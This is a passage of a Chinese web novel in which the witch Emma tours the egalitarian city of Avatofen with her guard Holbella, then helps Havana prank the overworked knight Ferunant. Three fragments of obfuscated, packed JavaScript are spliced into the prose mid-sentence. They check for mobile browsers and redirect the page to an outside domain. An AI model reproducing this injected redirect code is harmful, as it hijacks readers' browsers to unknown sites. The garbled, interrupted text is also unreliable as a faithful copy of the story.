在这样一座世外理想乡般的城市中,仍然有人思念故乡,有人不满足平等,渴求地位与特权,有人向往外界与冒险,为诸如此类的理由最终离开阿瓦托芬的人每年都有许多。 艾玛来到阿瓦托芬的时候,直接从城关的传送门进入了神殿,走在城市中还是第一次。 荷尔贝拉从主殿偏门捡了条捷径陪她走去城里,一边走一边向艾玛介绍了城市的情况与划分。 听说有内外城之分时,艾玛还以为这又是那种常见的阶级划分把戏,这种短暂的失望持续到她们来到划分地界的围墙边上。 那砖墙很矮,孩子们在墙头插花种草、涂涂画画。有居民在围墙边喝茶谈天,坐在矮墙上晒太阳。 守卫在附近走过,看来习以为常,午休时间换了班,甚至混进居民中跟他们一起唠起嗑来。没人看得出内外城居民的区分,也似乎没有人在意那区分,一派其乐融融的景象。 艾玛有点恍惚,手里还拿着刚刚摊边买的装在纸包里的炸面团,滚烫的热气在微凉的风里描出虚幻的白线。 荷尔贝拉给艾玛加了杯果汁,但看她半天没有动一口食物,才担忧而谨慎地问:“不合您胃口吗?” “太烫了,我想等一会儿。”艾玛回过神,向她示意慢慢来。 荷尔贝拉出神殿后收起了别在衣襟上证明监察骑士身份的徽章。女巫到来的消息在民众中还只是一道真假不定的传言,她们在人群中并没有引人注意。 “那道围墙很矮。”艾玛看着墙边的人群说。 荷尔贝拉领会了她的意思:“内外城的区分主要是居民的住所、工作和薪水管理的差别,还有部分商品购买和进入少数特殊场所需要出示居住证。 “内外城治安管理部门不同,出现违法事项后上报的民事法庭也根据居民的住所划分。平时,内外城的居民经常互相走动,不会做太大区别。” “很意外。”艾玛说,“看起来是非常难于管理的制度。” “您觉得这样不够好?” “不,太好了。”艾玛摇头,看着那些笑闹在一团的孩子们,墙头的野花在风里摇曳,“好到让人觉得难以相信,简直是故事里的理想乡。” 荷尔贝拉顺着她的目光望过去,也看了一会儿:“阿瓦托芬的巡防营里,擅长魔法的守卫特别多,具备许多对普通人来说不可思议的能力。 “如果没有见过,我也无法想象。大概因为这里集合着这么多‘奇迹’,才能够实现看起来不可能的理想吧。” 炸面团的温度下来了一些,艾玛咬了一口,还是被烫得呼气,她说:“你不是阿瓦托芬的本地人?” 荷尔贝拉愣了一下。 “如果没有在其他国家生活过,不会意识到阿瓦托芬的魔法师数量过多。这不可思议的一切,对出生在这里的人而言习以为常。但你知道这是不普通的。” “……是的。”荷尔贝拉垂下眼睛,捏紧了自己手里的杯子,“我来到阿瓦托芬,是三年前。” 艾玛也愣了一下:“啊,那确实不长呢。” 她摩挲着手里的杯壁,视线落进杯里晃动的液面里:“我是……本身,要在外城待上一定时间,通过考核才行。但是,我来到阿瓦托芬的时候,正好遇见了西琳女士。 “女士对我的……能力,给出了高度评价,所以破例允许了我直接进入神殿。” “‘西琳女士’?”艾玛回想起在城关时那让人记忆犹新的特殊接触,“好巧,我来到阿瓦托芬的时候,也是那位西琳女士为我检定。女士给出判断之后,神谕祭司阁下就直接带我们进入了神殿。” “‘检定’他人的能力与心性是非常罕见的技能,能做到西琳女士那种程度的,万中无一。神殿很信任女士,她的判断分量很重。”荷尔贝拉的动作慢下来,低垂的眼睫动了动,“女士……是个很好的人。” 意外窥见的西琳记忆一角让艾玛赞同这个判断,但那些信息的不完整让她多了点好奇:“西琳女士似乎在其他国家生活过。” “嗯,这不是秘密。女士曾经是位军医,在母国和邻国的战争中长期处于一线,应对伤患的经验很丰富。 “那场战争,女士的母国胜利了,但她在其中失去了家人……和爱人。之后,她就离开了那个国家。” 这些信息填补了那些记忆碎片间的裂痕,让人能隐约一窥全貌。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16291324|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 艾玛短暂地用片刻沉默表示哀悼:“我很遗憾。” 荷尔贝拉同样沉默了好一会儿,只有杯里的液面上漾开水纹。 两人听着日光里行人们的谈话声,直到面团已经吃完,饮料只剩两口,艾玛才把目光放回荷尔贝拉身上:“你的名字是‘荷尔贝拉’?很少见的叫法。” 她抬起目光,对上艾玛的眼睛,视线又往旁边移了些:“‘荷尔’是‘伪姓’。在我的母国,贵族中有这样不成文的习俗:具有较高价值,或受主人宠信的奴隶,可以得到主人的‘赐姓’,相当于为奴隶重新命名。 “赏赐的姓氏并不受律法承认,只是一种……荣誉。” 荷尔贝拉的视线又落下去,沿着杯壁交缠的手指叠在一起:“我曾经是奴隶。‘荷尔’是我的女主人送给我的姓氏,含义是‘健康、聪颖’,‘贝拉’……是我本来的名字,很常见,没有什么特别的意义。” “身为奴隶的时期”,听起来本该是不愉快的回忆。 但艾玛沿着她叙述的脉络,找到了异样的缝隙:“你保留了这份‘礼物’。你喜欢这个名字吗?” “……我不知道。”荷尔贝拉回答,“或许,只是习惯了。” 艾玛想了想:“我稍微能理解这种感觉。我的名字是母亲取的,我很喜欢。即使它和我最早那些不算愉快的回忆相连,在可以重新开始的时候,我还是不想抛下它。改变自己的名字,就好像切断自己的过去一样。” 荷尔贝拉低声喃喃:“是啊。但是,有人做得到。” 仿佛意识到自己的失言,她回过神,语速加快了节奏:“‘伪姓’不受律法承认,也不跟阿瓦托芬消除姓氏的法律冲突。因为,‘贝拉’这个名字很常见,这边没有姓氏,就经常会有这样的,因为同名搞错人的事情…… “大概,主要是因为这样,我才保留了这个名字。但是……‘荷尔贝拉’读起来不是很顺口……” “这样啊。” 荷尔贝拉垂着眼睛:“我的父母是奴隶,我不记得他们的样子。记事起,我就作为奴隶生活。 “在我的国家,人出生的时候,身份就决定了。我很幸运,买下我的是一位高贵又仁慈的夫人,我从未见过像她那样高尚的人……她教了我很多事情,我很感激她,至今,仍然。 “这是……她为我取的名字,认真斟酌过含义,不是那种,随意的,没有意义的……我……” 她越说声音越低,指尖摩挲着杯沿,逐渐显出一种难言的焦躁,像想为什么辩解,却最终不知如何解释,声音紧缩起来,蜷到没有回声的角落里。 艾玛想了想,转了圈杯子:“我认为……‘自由人’是指一个人有对任何事物正常表达‘喜爱’和‘讨厌’的权力。你现在是自由的,也可以选择对他人抱有任何感情的自由。” “……谢谢您。”荷尔贝拉说。 艾玛侧过头,问:“那我也可以叫你‘贝拉’吗?” 荷尔贝拉抬起目光,和艾玛的目光相触了一会儿,才再次收了回去:“您愿意的话。” 74.配合 艾玛在街上的小摊买了打包带走的食物,和荷尔贝拉走走停停地晃荡在回神殿的路上。 阿瓦托芬城内的氛围闲适,地面铺着细石,有建筑师模样的人拿着图纸尺笔等工具和人讨论,做生意的店家在门边捞一把自己摊上的瓜子和人分着唠嗑,隔壁店的人接几杯自家的茶饮来搭配,有小孩拿着风车彩旗跑过,巡逻的守卫走过时显得可靠而安静。 有位女士穿着礼服,化着淡妆,坐在家门前拉大提琴,曲子奏了一首又一首,风拂过她裙角,她在乐声中沉醉地闭着眼睛。 有路过的人为这音乐停留,在附近或站或坐,有人一边听一边打着节拍。 这样的景象,艾玛过去只在幻想主义风格的小说中见过。 她在波克奈利王国时拜访过的城市,沙漠旅行中途经的聚落,不乏物资丰饶、经济发达的地方,但富裕者的享乐总得建立在贫穷者的苦难之上,而其中没有任何一个如同阿瓦托芬这样: 没有阶级差异,没有巨大贫富之分,却依靠信仰和法律维持了这副奇迹般的景象。 住民仍旧劳作,却不为生计焦躁忧虑,井然有序中漫溢着温和的生机。 ——当之无愧的世外之地。 艾玛当过城主,在王国制度下管理过城市的运作,因此更明白这一切有多不可思议。 提出这样的构想已经让人惊奇,建立出与之配套的制度,并维护这秩序千年百年,更是难以想象的困难。 他们说,这是神迹。 女巫是特别的,因为这里曾有女巫,才会有阿瓦托芬现在的一切。 “女巫”这个词的分量对艾玛来说一直太飘忽,神殿之外的人不知晓女巫的存在,只会把她们的事迹当神话听,艾玛也把神话当故事听。 她在生活中学到,这世上大部分人不会魔法,不依靠魔法也能活得很好。 她学到人与人之间是不同的,就像她喜欢苹果,莫妮卡喜欢梨;她喜欢清晨钟声的音色,雪莉却厌恶那回声;她喜欢盛开的鲜花,而戴安娜小姐花粉过敏。 艾玛花了很长时间追求理解他人,希望成为他们中合群而不起眼的之一。 至少,她已经在自己的认知里做到了这点。艾玛并没有觉得自己多特别。 琴声在午后的阳光里悠扬地荡开。艾玛不算擅长欣赏音乐,那些藏在乐曲中的细腻感情对她来说太过难以理解,但她今天却没来由地心神一动,仿佛被音符撞上了心脏。 “女巫是特别的”,他们这么说。 艾玛微微恍惚,下意识抚上心口,片刻后垂下了眼睛。 她能理解这么说的理由。 “女巫是特别的” —— “因为,女巫背后有神明。” 艾玛并没有觉得自己多特别,因为她生来如此。习以为常的事情总被当作理所当然。 这理所当然在某一刻裂开一道细细的口子,她为此感到茫然。 荷尔贝拉领着艾玛走到神殿西殿的连廊,打算从这条路绕回主殿。 她戴回了监察骑士的徽章,路上没有拦阻,巡逻的守卫都向她们行礼。 她们走过一条露天的长廊时,艾玛看到一队守卫衣襟上的刺绣,回忆起哈瓦娜的衣服上也有着几乎完全一致的纹样。 她顺口问道:“哈瓦娜的本职在巡防营,她现在是回去继续巡逻工作了吗?” “是的。最近巡防营多有变动,哈瓦娜小姐那边应该不轻松。” “那你的工作,没关系吗?”艾玛偏了偏头,“你的能力很出色,又受议会信赖,我想应该很忙的。” “不会有影响。”荷尔贝拉说,“我的法术很便利,所以会被当做优先选择,但并不是不可替代。即使我不在,也有人能完成那个位置的工作,利利提亚大人已经安排好了。” “这样啊。” 荷尔贝拉顿了顿:“利利提亚大人还说……如果有急事,我可以和哈瓦娜小姐轮流换班。我确实,不擅长表达……您要是觉得沉闷,或许让哈瓦娜小姐来当您的护卫更好。我……跟她不是很熟悉,还没想好……没来得及跟她讨论过。” “哈瓦娜向我夸过你。我想,她很愿意和你增加交流。” 荷尔贝拉沉默了一会儿,低着眼睛,似乎想说什么:“我……” “啊!” 一声惊呼打断了荷尔贝拉的话。 她本能地对声音来源做出反应,身体先于思考一步地护在艾玛身前,露出手臂上的袖剑,锐利的目光刚刚凝固,就对上了熟又不熟的一头橙红色的卷发。 她们正在谈论的哈瓦娜刚刚爬上露天长廊的墙沿,还没站稳就看到了离自己很近的锐器,差点再从墙头上掉下去:“冷静冷静自己人啊!” 荷尔贝拉噎了一下,向后退了两步,慢慢收回了袖剑。 哈瓦娜蹲在墙沿,抚了抚胸口舒气,这才将目光定在眼前人上:“真巧啊贝拉……咦,女巫殿下也在?” 她突然捂住嘴,停了两三秒,迅速跳下墙头整理仪容,向艾玛行礼。 “下午好,哈瓦娜。”艾玛向她招呼道,却看见素来活泼的哈瓦娜抿着嘴,视线落在了斜下方。 她以为哈瓦娜是为这情景而尴尬,“没关系,我什么都没看见。” “唔。”哈瓦娜应了一声,视线仍然乱飘,沉默。 艾玛奇怪道:“你今天话很少,心情不好吗?” “没有。”哈瓦娜的声音低得像嘀咕。 “身体不舒服?” “不,那个,是……”哈瓦娜犹豫了一会儿,挪回目光,很认真,很严肃,“利利提亚大人说,我太吵了,女巫殿下喜欢安静一点的。 “哎……但是!要怎么做到很安静啊!我不说话就更容易紧张了!哎!贝拉,你就很擅长这个,教教我……” 哈瓦娜垂头丧气,想要去搭荷尔贝拉肩膀,被对方一个退步闪开,躲到了艾玛侧后方。 “哈瓦娜小姐……”荷尔贝拉欲言又止,“神殿内禁止攀爬和使用法术随意移动。” “拜托啦,当没看见吧!”哈瓦娜冲她挤眼睛。 荷尔贝拉显然为这份自来熟距离感不知如何是好,只得移开目光:“我不会说出去,但你还是小心点比较好……” 艾玛想起利利提亚昨天带着她从楼上跳下去的事。对比昨天的楼高,这条走廊还更低一些。 “你原来的样子就很好,不用刻意少说话。”艾玛道,“贝拉刚刚还说,就我们两个,气氛有点太闷了。” 哈瓦娜眼睛一亮,顿时恢复了活力:“真的吗?那我就放心了。” 荷尔贝拉止言又欲。 由于已经和艾玛相处过一天,哈瓦娜并不觉得她难说话,得到艾玛的认可就放了心。 艾玛看见哈瓦娜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297586|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手上还拿着叠文件:“你有急事吗?” “呃,也不算着急。” 哈瓦娜抖抖文件,忽然想到什么,眼睛转了一圈,笑容爬上脸颊。 荷尔贝拉又往旁边不动声色地挪了一步。 哈瓦娜打量了艾玛她们一眼,问:“您之后有别的安排吗?” “没什么事,刚刚去城里转了一圈。要吃米饼吗?”艾玛扬了扬手里的袋子。 “可以吗?啊,我吃一块!谢谢!”哈瓦娜不客气地拿了一块嚼起来,“哦,我刚刚是说,我突然想到,或许能让您看到点有意思的东西。” 艾玛好奇地挑眉:“什么?” “唔,先保密!”她三下五除二吃完了饼,舔了舔指尖,露出了狡黠的笑容,“您有兴趣的话——等会儿配合我一下就行。” 回去之后的计划也只是接着看书,艾玛不着急,就跟着哈瓦娜走去看看。 她们走了好一段路,这路径方位指向哪里,荷尔贝拉显然有了点数,因此越走表情越古怪。 等哈瓦娜站定在一处走廊入口,竖起食指向艾玛她们示意噤声,荷尔贝拉差点出口的问题又被堵了回去。 哈瓦娜把艾玛手里的食物塞给荷尔贝拉,又冲她眨眼睛:“贝拉你在这等着吧,我们这边都已经知道你被派去保护女巫殿下,你要是出现,一下子就穿帮啦!” 她推着艾玛,比了个拇指。 荷尔贝拉不明白她要做什么,心情复杂。 艾玛也不知道她要做什么,但突然觉得有点意思,回了个拇指。 而哈瓦娜觉得她们已完美配合,心有灵犀,收起笑意咳嗽两声,敲了敲房门。 “请进。”房间里传来一道男声。 哈瓦娜推门进去,艾玛跟在她身后。 房间里宽敞又明亮,正中一张巨大的办公桌,桌上堆满文书资料。 一个看起来二三十岁的男人正埋头在那些资料当中,目光隔着镜片在文字上一目十行。 哈瓦娜对那男人晃晃手上的文件:“诺,审判庭的庭审记录,我拿来了。” 在蘸取墨水的间隙里,男人才停下笔,看了她一眼,神色很冷淡。 他应了一声:“放这边吧……嗯?这位是?” 他的目光落在哈瓦娜身后的艾玛上。 哈瓦娜很迅速地接过了话头:“我们巡防营那边的新人,我打算带她去楼下登记处签点档案,顺路。我们的守卫官很看好她,说她没准能成为下一届监察骑士。 “你也知道,对吧?女巫殿下已经来到了神殿,没准监察骑士就要重选了,真那样的话,也就这两年的事。” “哦……确实。”男人若有所思,表情松动了些。 哈瓦娜转向艾玛,对她介绍道:“这是费鲁南特,神谕祭司所属的四位监察骑士之一。别看他斯斯文文像个书呆子,工作和魔法上都还挺厉害的。” 哈瓦娜向她眨了眨眼睛。 艾玛知道这就是需要她“配合一下”的时候,向男人点头致礼:“前辈好。” 哈瓦娜嘴唇一抿,差点没笑出来。 “你好。”费鲁南特心不在焉,并没有觉察异常,只向艾玛简单点头回礼,就继续写起了文件。 哈瓦娜咳一声,转头时故作自然道:“喂,费鲁南特,你有什么话——经验,能跟我们的新人讲讲的吗?作为‘前辈’。” 75.费鲁南特 “你才是她的前辈,哈瓦娜。新人指导轮得到我来做?” 费鲁南特头都不抬,可惜哈瓦娜不准备就这么放过他的注意。 她往办公桌上的文件堆边一靠,手肘在高高的纸堆顶一压,顿时把费鲁南特惊得一激灵,立刻扶住文件堆防止它倒了。 “别这么冷淡嘛!你想想,能让新人少走点弯路。她很可能成为监察骑士,没准以后要做跟你一样的工作。” 费鲁南特扶稳文件,恼火地瞪了哈瓦娜一眼,却被她话里说动,犹豫了一下,对艾玛道:“你——想要成为监察骑士吗?” 艾玛临场发挥:“是的,我一直很向往成为监察骑士。” “其实……监察骑士也没什么特别值得向往的。”费鲁南特拨开哈瓦娜压在文件堆上的手臂,皱着眉斟酌, “工作变化性很大,不知道会被上面调到哪个位置,工作强度和风险都很高,只有工资和福利待遇比较好。 “如果只是想为月神殿下尽一份力,追求仪式感,文礼司更合适。如果是看重工作待遇,也有其他更稳定、更轻松的岗位……我不建议你做监察骑士。” 哈瓦娜退开一步,比了个鬼脸:“有时候也不是自己想不想的问题,像是某人——” 费鲁南特打断她,接着说:“指月石的测试,能不做就尽量不要做。大部分情况下,大家都不是那种幸运儿,指月石不会偏转,知道这样的结果也只是失望。 “要是运气好一点,指月石偏转了……反而很麻烦。神殿的制度,也不是每一条都合理。” “哇,你怎么背着议会说神殿的坏话,这是监察骑士该说的话吗?” “是你让我给的建议,你能闭嘴吗?” 哈瓦娜稀奇地打量他,拎起他头顶一缕头发,又放下,仿佛正从他头顶发丝的长势中占卜:“你今天脾气特别差嘛!加了多久班?” 费鲁南特用手腕支着额头,向她比了四根手指。哈瓦娜哇哦了一声。 她又从费鲁南特头顶捏起一撮头发,对艾玛道:“别在意,他工作过头累着了,平时没那么凶的。” “前辈看起来很忙,我们是不是打扰到你了?”艾玛关心道。 这份看气氛的体贴让费鲁南特感动了下,正要开口,就被话里全无体贴的哈瓦娜开朗地代为回答:“没事,他自找的。” “费鲁南特本职在建筑部,那地方本来就忙得够呛,他在当上监察骑士之后又兼职了神谕祭司的文书助理。就任监察骑士之后可以保留就任前的本职,两边工作有冲突的时候,监察骑士的工作优先级更高……” “你已经很多次用这个借口翘了巡防营的排班吧。”费鲁南特冷不丁说,“你的守卫官写过两次投诉信。两边兼职是在不影响两方工作的前提下,如果冲突过大就需要停掉一方职位。” “累成这样还两边都不肯放的人好意思说我吗?” “即使有冲突也不想放弃……”艾玛说,“一定是很喜欢建筑部的工作吧。” “不。”费鲁南特面无表情,“监察骑士同时从事两份工作,工作时间就会按两倍累计,薪资和福利待遇也是两份工作的叠加。人事管理会参考这些进行社会贡献值计算,直接影响到退休时间评定。我只是想早点退休而已。” “哦。” 哈瓦娜不赞同道:“我是搞不懂你现在就在想退休的问题,退休了不是很无聊吗?从神殿离职之后也能累积贡献值,在城里开开店什么的,完全不是用得着这么早操心的事吧?” “什么是‘贡献值’?”艾玛问。 哈瓦娜咂了下嘴,努力从脑子里找着形容词:“我们这边的一种——呃,怎么说,人事管理部在发工资前,会从工资里头扣一部分存着,根据扣缴的金额,还有一些杂七杂八的标准来换算贡献值。 “贡献值满之后,就算退休了不工作,人事管理部也会每个月向缴纳人发补贴金——差不多这样吧。” 费拉约尔斯的部分机构也有类似的制度,艾玛大致听明白了:“跟‘税金’差不多?” “不完全一样。贡献值不等于缴纳的金钱,它还认可无法换算成金钱的成就所具有的价值。”费鲁南特顿了顿,“你应该是了解过其他国家的税金制度……神殿需要督促人们劳作,这是贡献值制度存在的根本原因。 “但对神殿而言,它更大的价值在于限制阿瓦托芬的贫富差距。它向所得更多的人要求更多,回馈却不像索取那样悬殊,以此人为地控制经济平衡,使之不超过限度。” “听起来很困难。”艾玛说,“这里似乎总在做些听起来难以实现的设想。” “我也觉得,放在其他任何一个地方都难以想象。但阿瓦托芬做到了。‘受神明庇佑的城市’,真了不起啊。” 费鲁南特似乎很浅地叹了口气,“贡献值制度的细节很复杂,哈瓦娜肯定讲不明白,我也只知道个大概。人事管理部隶属于文礼司,如果你对这方面感兴趣,可以去那边问问。” 哈瓦娜做作地皱眉:“你怎么还在坚持让人打消成为监察骑士的想法呢?” 费鲁南特根本没看她:“跟你这种把监察骑士当荣誉的人没话好讲。” 说到这里,艾玛也起了点好奇:“你不喜欢这份工作?” “我很喜欢这份工作的薪资待遇。” 哈瓦娜痛心疾首,摇头:“功利,太功利了……” “我只是需要一份工作,能给出贡献值,足够我在这里稳定地生活就好,具体做什么都一样,选择建筑部也只是因为我在这方面还算擅长。我……没有想过会被选作监察骑士。” 费鲁南特停了停,因为回忆起什么,脸上的疲倦更深一层,开裂出一种复杂而欲言又止的隐隐痛苦,“这是意外。” “呵呵,我来讲吧。”哈瓦娜眉开眼笑,口吻欢快得全不顾此人死活, “这小子的运气好得实在是不一般,在监察骑士报名的初选交了简历档案,结果一路通行,通到了终选。不仅议会对他很满意,指月石也偏转了,虽然度数不大,但这一届能让指月石偏转的人就没几个,最后一综合!就选上了。 “直到被议会叫去任命的时候他都难以置信,授封仪式的时候一直在偷偷唉声叹气,给我看见了,就没见过这么不——” 费鲁南特反手一文件夹拍在她脸上,哈瓦娜接住了。 他揉了揉眼角:“在监察骑士初选报名时期,每个部门都最少要报上一两个人选。建筑部忙得脚不沾地,根本没人愿意来参加这种选拔,就让我报上去凑个数。 “我也以为我只是去凑数的……但是,指月石,到底为什么会偏转……而且,只转了两度,两度!! “为什么这么低的倾斜角都会被选上啊?议会选拔的门槛就不能再高一点吗??” 费鲁南特说着说着,崩溃地抱住了头。 哈瓦娜搭上他肩膀,灿烂道:“我三度,问题不大,你要有自信。” “自信是重点吗?” 艾玛没听出问题所在:“被选上了,就不能拒绝?” “……可以的。”费鲁南特没有表情地陈述,“只要提交撤选申请,通过一系列审核,完成和议会的面谈并取得同意。遭受的精神压力姑且不论,流程麻烦得好比让我多加一个月的班。” “那确实很麻烦。” “有幸受选为监察骑士固然是信徒的荣耀,但对我来说,惶恐远大于惊喜……虽然,我当时没想太多。 “撤选的手续太复杂,监察骑士的职位待遇又确实让人心动。我想再麻烦的工作也不能比建筑部的工作量更离谱,接下这个职位就可以提前退休时间,‘长痛不如短痛’…… “我那时候还不够了解监察骑士的职责,只想着,他们既然能选中我这个文职人员,那一定是我能做的工作。” 费鲁南特又叹了口气。 艾玛产生了点既视感,想起在绿洲酒馆里见过的没精打采和朋友抱怨工作的顾客。现在往办公桌上放杯啤酒就更像了。 他抬头时正对上艾玛的目光。那双金色的眼睛是安静的,投入喧嚣的声音也泛不起涟漪,温和却也冷清。 费鲁南特在这双眼睛面前无来由地想移开视线,后知后觉地愣了神。 “……如果你仍然想要成为监察骑士,这取决于你的意愿,我说的只是我的个人看法,不一定符合你的情况。” 费鲁南特顿了顿,“但是……要是有机会选择,尽量,不要成为‘神谕祭司的监察骑士’。” 艾玛从费鲁南特的角度猜测:“神谕祭司这边的工作特别多?” “倒不是工作量的问题。你可能……还不太熟悉我们现在这位神谕祭司。”费鲁南特眼神飘忽了一下,“我想……即使女巫殿下要重选主祭司,以他的情况,也很难被替代。” 他推了推眼镜,艾玛从他的细微举止里感知到一丝焦躁和戒惧。哈瓦娜却吹了声口哨。 “监察骑士最重要的职责之一,是监督主祭司的行动。如果主祭司有违法失职行为,则监察骑士必须上报议会。 “也就是说,一旦发生需要检举的情况,监察骑士有很大概率会和主祭司发生冲突。但如果和那位神谕祭司发生战斗—— “从他手下逃走的概率,一定是零。” 费鲁南特很沉重地,叹了长长一声气:“也因为这个,这份工作我一直做得提心吊胆,就怕哪天……哎,要是真能重选监察骑士就好了。现在不仅文书工作多,还天天担惊受怕,好想辞职……” “担心得真够多的!你还是那么过度谨慎,总担心着天会掉下来砸在自己头上一样。”哈瓦娜耸肩。 费鲁南特看了她一眼:“如果你也曾经在沙漠里逃过难,知道随时可能死去是怎样一种感觉,你或许就明白了。” “好啦好啦。放心吧,这里可是阿瓦托芬,月神殿下庇佑的城市,谁想在这违法乱纪都要再三掂量。 “退一万步说,不正是出于这种考虑,议会才选了防御魔法出类拔萃的你吗。以你的法术强度,挡利利提亚大人两刀完全不是问题吧?” 这假设引得费鲁南特打了个细小的冷战,目光立刻变得警惕,四下望望周围,声音也压低了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这个问题让费鲁南特和哈瓦娜对视了一眼,一时竟都沉默。 “也不算难相处?”哈瓦娜犹豫地说。 费鲁南特沉吟一下,显得认真了些:“客观来讲,他是个优秀的上司。工作效率高,很好沟通,做决断迅速,不情绪化也不会推卸责任。但是……怎么说,他……不是很好猜。” “是吗?”反而是哈瓦娜有点茫然地看向他。 “我不太会形容……大概是那种‘一时起兴’的地方让人难以理解,甚至有点吓人吧……他思考的方式和大多人很不一样。或许是因为他的出身……这只是我的个人猜想。” “是吗?”哈瓦娜仿佛若有所思,仍旧很茫然。 费鲁南特无奈道:“你这种凭感觉行动的直觉动物就别用大脑思考了。” “真过分啊!就,要我形容的话,诶……”哈瓦娜沉默了足足十秒,最后一脸认真地放弃了思考,“你说得对!” 费鲁南特别过头叹气。 “我以为他是很受欢迎的那种人。”艾玛说。 “‘受欢迎’,倒也没错。”费鲁南特讶异道,“你见过他?” “嗯。” “有那张脸在,不受欢迎才很难吧。”哈瓦娜觉得理所当然。 费鲁南特停了一下,神色变得有些复杂:“我也可以理解,无论外形还是素养,他都非常有吸引力……但是,嗯,很多事情都不是它看起来那样,对吧?你还是……不要抱有太高期待比较好。” 艾玛听出他误以为她对利利提亚抱有那类好感,才说得这样刻意委婉。但她觉得这种地方不解释也无所谓,礼貌地回应了对方的好意:“谢谢。” “客气……” 费鲁南特话没说完,就被哈瓦娜从身后热情地拍了拍背脊,差点没把他拍到桌上。 “你平常不是很怕利利提亚大人,别说议论,背后都不太敢提他名字的吗?怎么,今天冒着那么大风险说了那么多‘忠告’,你人怪好的嘛。” 因为这突然的袭击,费鲁南特的眼镜被拍得滑下了鼻梁,他皱着眉把它推回去:“我当然不是在谁面前都会说这些。但是,这位——呃,我还不知道名字…… “该说是,感觉吗……总觉得,如果是你,或许真可能成为监察骑士。这些话说不定对你有用。” 哈瓦娜眯起眼睛,狡黠地笑起来:“哎呀,说了点好话呢。” 费鲁南特终于觉出点异常,为时已晚地生出两分警惕的心思:“你今天有点奇怪,哈瓦娜。故意在引导我说什么一样……” “也没什么啦。就是想起你不是经常说‘想辞职’什么的。” “确实……?” “但是辞掉监察骑士的工作是挺麻烦的,我猜你也不想和利利提亚大人谈这个。所以,机会难得,就帮你想了点其他方法。” 费鲁南特困惑地看着她绕了办公桌半圈,站到艾玛身边。 “告诉你个好消息!”哈瓦娜向艾玛摊开手,郑重地介绍,“这位就是刚刚来到神殿的——我们的月神女巫殿下。” “哦,”得到了再次介绍,艾玛也顺势重新打了个招呼,“你好,我叫艾玛。” 房间里安静了良久。 费鲁南特颤抖地放下笔,摘掉眼镜,深呼吸,捂住脸,把头埋下去,从掌心中发出一声气若游丝的呜咽: “我想辞职……” 76.第二个故乡 “抱歉,好像吓到你了。”艾玛尝试安慰。 哈瓦娜故作不解且关心,却难掩嘴角的幸灾乐祸:“怎么了?你不高兴吗?” “我是想辞职。”费鲁南特有气无力地说,“不是想死。” “哎呀!死不死的,别把这种话挂嘴上。” 费鲁南特深吸气,强自冷静地离开了办公桌,走到艾玛面前,郑重地行了半跪礼:“……我为我刚才的失言向您致歉。” “我没有觉得你说错了什么。” 艾玛想拉他起来,费鲁南特却将头压得更低了。 “不……是我太……放肆了。请您原谅。” 他压下声音里的颤音,抬起无神的眼睛,虚弱而试探地向艾玛请求,“今天的谈话内容,可以请您不要告诉利利提亚大人吗?要是让他知道……我就死定了。” “我不会说的。”艾玛本来也没有转述的想法。 得到女巫的肯定让费鲁南特松了口气:“谢谢您……” “你多想了,他不可能杀你。”哈瓦娜不以为意,“监察骑士一旦死亡,无论死因是什么,他们所属的主祭司都会被列为第一嫌疑人。他不会给自己找那种麻烦。” 她突然又扬起笑脸,比了个拇指:“啊不过真有什么万一的话你就放心吧!我一定会告诉侦查科‘你死前说过利利提亚大人的坏话所以可能被报复了’这件事,绝对会给你个公道的!” 费鲁南特深吸了口气,试图平稳自己摇摇欲坠的精神:“我怎么惹你了,哈瓦娜?让我死个明白吧。” 哈瓦娜一边思考一边点着自己的下巴:“唔,也没什么?就是你非说我缺了资料要我多跑一趟,我不高兴。” “可是你自己漏了庭审记录啊??”费鲁南特崩溃道。 “是吧?但就有这么巧,我找到资料回来的路上正好碰到了女巫殿下。” 哈瓦娜打了个响指,“作为维护公平秩序的巡查队的一员,你热心善良乐于助人的好同事,我一直心系你的身心健康,不忍看你加班得如此辛苦,当然非常地想为你排忧解难! “来!机会难得,你还有什么遗言,啊我是说总之还有什么要申诉的,都赶紧告诉女巫殿下,殿下人特别温柔特别好,一定会听你说的!” “饶了我吧……” “行呀,诚意呢?”哈瓦娜眨眨眼睛。 “你说。”费鲁南特放弃挣扎。 哈瓦娜转向艾玛:“殿下,您今天晚餐有预订了吗?” “没有特别的计划。” “那就好办了,费鲁南特,我知道哪家餐馆好吃,结账的事就交给你了!啊对了,贝拉还在门口等我们,她的份也得算上哦。” “贝拉……”费鲁南特想起听说过荷尔贝拉去保护女巫的消息,在接连的冲击里终于想起此情此境少了点什么。 哈瓦娜跑到门口,对着走廊里的荷尔贝拉招呼:“嘿贝拉!费鲁南特说今天请我们吃晚餐!” “啊,是吗……” 荷尔贝拉走进门,和费鲁南特面面相觑。 两人年龄相同,工作上接触得又很多,互相间都很熟悉。 她看了看费鲁南特的憔悴神态,流露出一点同情:“辛苦了。” 时间已经不早,费鲁南特原本的用餐时间更迟,往往潦草地填下肚子就回建筑部处理工作了。 但现在他当然不敢让女巫等,匆匆收拾了桌面,便由哈瓦娜带队出了门。 